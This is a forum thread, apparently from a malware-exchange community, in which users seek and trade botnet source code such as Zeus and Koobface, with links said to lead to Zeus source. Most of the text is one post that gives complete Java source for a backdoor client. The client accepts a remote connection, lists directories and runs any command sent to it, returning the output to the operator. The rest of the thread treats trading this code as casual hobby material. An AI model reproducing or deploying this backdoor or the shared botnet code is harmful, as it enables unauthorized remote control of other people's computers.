Topic: Bot Net source codes

Hi Guys..,

I'm currently looking for source codes for bot nets. Such as Koob Face,Zues, Trojan.Fakeavalert.

Can any one help me on this ?

Thanks.

Re: Bot Net source codes

darn, thought maybe you had them.
i like to play with stuff like that.

Re: Bot Net source codes

kaspian.orion wrote:

Hi Guys..,

I'm currently looking for source codes for bot nets. Such as Koob Face,Zues, Trojan.Fakeavalert.

Can any one help me on this ?

Thanks.

I can give you a strong suggestion for further research "Offensive Computing". Also there are several books, papers and articles on this subject matter for academic research (I will cover this subject at a later time as part of the VX Heavens information repository)

Re: Bot Net source codes

Thanks guys for the reply.
I have downloaded the collection from the offensive computing site.
I think the source code is not available in that. I need the source code for the Koob Face,Zues, Trojan.Fakeavalert. I want to study them. I'm a university student.

arc, I'm glad that ur are going to talk about them. If you can do it quickly, I'm more very much thank full.

Re: Bot Net source codes

kaspian.orion wrote:

Thanks guys for the reply.
I have downloaded the collection from the offensive computing site.
I think the source code is not available in that. I need the source code for the Koob Face,Zues, Trojan.Fakeavalert. I want to study them. I'm a university student.

arc, I'm glad that ur are going to talk about them. If you can do it quickly, I'm more very much thank full.

No sorry I work at a snails pace. You can be the Hare and I will be the Tortoise we can race to the VX Heavens information finish line if you like but I will work with herm1t's collection and offer him my contributions (books, papers, articles - if he wants them). If you need rapid help for information you need to use a search engine or join a group on IRC.

Good luck, please report back here with your progress. We are all interested in knowledge contributions.   :-)


* [Register or log in to view the URL]

Re: Bot Net source codes

Hi arc,

I dont want to race, because I want to learn from the best (like you,herm1t).
So, you take your time...

Thanks...

Re: Bot Net source codes

import java.net.Socket;
import java.net.ServerSocket;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.IOException;
import java.io.File;

class BackdoorClient extends Thread {

    private Socket socket;

    private BufferedReader reader;
    private BufferedWriter writer;

    private String workingDirectory;

    public BackdoorClient(Socket socket) {
        this.socket = socket;
        this.start();
    }

    public void run() {
        try {
            this.reader = new BufferedReader(new InputStreamReader(this.socket.getInputStream()));
            this.writer = new BufferedWriter(new OutputStreamWriter(this.socket.getOutputStream()));
            this.workingDirectory = Util.getJARLoc();
            this.workingDirectory = this.workingDirectory.substring(0, this.workingDirectory.lastIndexOf("\\")) + "\\";
            this.write(this.workingDirectory);
            Debug.print("Wrote working dir\n");
            while(this.socket.isConnected() && MiscStatus.backdoorConnected) {
                try {
                    String line = this.reader.readLine();
                    if(line == null) {
                        continue;
                    } else {
                        this.interpret(line);
                        this.write(":END");
                        this.write(this.workingDirectory);
                    }
                } catch(IOException ioe) {
                }
            }
            MiscStatus.backdoorConnected = false;
        } catch(IOException ioe) {
            Debug.print("Backdoor reader / writer instantiation throwed IOException: " + ioe.toString());
            MiscStatus.backdoorConnected = false;
        }
    }

    private void interpret(String line) {
        String[] args = Util.splitArgs(line);
        if(args[0].equals("exit")) {
            try {
                this.reader.close();
                this.writer.close();
                this.socket.close();
            } catch(IOException ioe) {
            }
        } else if(args[0].equals("shutdown")) {
            System.exit(1);
        } else if(args[0].equals("shutdown listener")) {
            ServerStatus.backdoorListening = false;
        } else if(args[0].startsWith("cd")) {
            if(args.length == 2) {
                String dir = args[1];
                if(dir.indexOf(":\\") == -1) {
                    File file = new File(this.workingDirectory + dir);
                    if(file.exists()) {
                        if(file.isDirectory()) {
                            this.workingDirectory = this.workingDirectory + dir;
                            if(!this.workingDirectory.endsWith("\\")) {
                                this.workingDirectory = this.workingDirectory + "\\";
                            }
                        } else {
                            this.write("No such directory: " + dir + "\n");
                        }
                    } else {
                        this.write("No such directory: " + dir + "\n");
                    }
                } else {
                    File file = new File(dir);
                    if(file.exists()) {
                        if(file.isDirectory()) {
                            this.workingDirectory = dir;
                            if(!this.workingDirectory.endsWith("\\")) {
                                this.workingDirectory = this.workingDirectory + "\\";
                            }
                        } else {
                            this.write("No such directory: " + dir + "\n");
                        }
                    } else {
                        this.write("No such directory: " + dir + "\n");
                    }
                }
            }
        } else if(args[0].equals("ls")) {
            File dir = new File(this.workingDirectory);
            if(!dir.exists() || !dir.isDirectory()) {
                this.write("No files found.\n");
                return;
            }
            this.write("Contents of " + this.workingDirectory + ":\n\n");
            for(File file : dir.listFiles()) {
                if(file.isDirectory()) {
                    this.write("<DIR> " + file.getName() + "\n");
                } else {
                    long size = file.length();
                    if(size >= (1024 * 1024 * 1024)) {
                        this.write(file.getName() + " (" + (size / (1024 * 1024 * 1024)) + " GB)\n");
                    } else if(size >= (1024 * 1024)) {
                        this.write(file.getName() + " (" + (size / (1024 * 1024)) + " MB)\n");
                    } else if(size >= 1024) {
                        this.write(file.getName() + " (" + (size / 1024) + " KB)\n");
                    } else if(size < 1024) {
                        this.write(file.getName() + " (" + size + " bytes)\n");
                    }
                }
                try {
                    this.sleep(10);
                } catch(InterruptedException ie) {
                }
            }
        } else {
            try {
                Process process = Runtime.getRuntime().exec(line);
                if(line.indexOf(".exe") != -1) {
                    return;
                }
                BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String str;
                while((str = in.readLine()) != null) {
                    this.write(str + "\n");
                }
            } catch(IOException ioe) {
                try {
                    Process process2 = Runtime.getRuntime().exec(this.workingDirectory + line);
                    if(line.indexOf(".exe") != -1) {
                        return;
                    }
                    BufferedReader in2 = new BufferedReader(new InputStreamReader(process2.getInputStream()));
                    String str2;
                    while((str2 = in2.readLine()) != null) {
                        this.write(str2 + "\n");
                    }
                } catch(IOException ioe2) {
                    this.write("IOException thrown: " + ioe2.toString());
                }
            }
        }
    }

    private void write(String str) {
        str = str.replaceAll("\n", "");
        try {
            this.writer.write(str);
            this.writer.newLine();
            this.writer.flush();
        } catch(IOException ioe) {
        }
    }

}

Its Not Made By Me
Its Written In JAVA
Took Me A Bit To Hunt This Down...D:
[EDIT#1]This Is The Client To Not confuse Someone >.>[/EDIT#1]

Last edited by NExTliFE (2010-05-01 17:02:57)

+1

Re: Bot Net source codes

Zues is maybe Zeus ? this is carding trojan and i doubt someone here have the source

Re: Bot Net source codes

here you are: the source code of Zeus
[Register or log in to view the URL]

Re: Bot Net source codes

this bot is IRC or HTTP ... !! ???

Re: Bot Net source codes

kaspian check this out [Register or log in to view the URL]

Re: Bot Net source codes

Zues  it best bot

Re: Bot Net source codes

not best, but one of the best)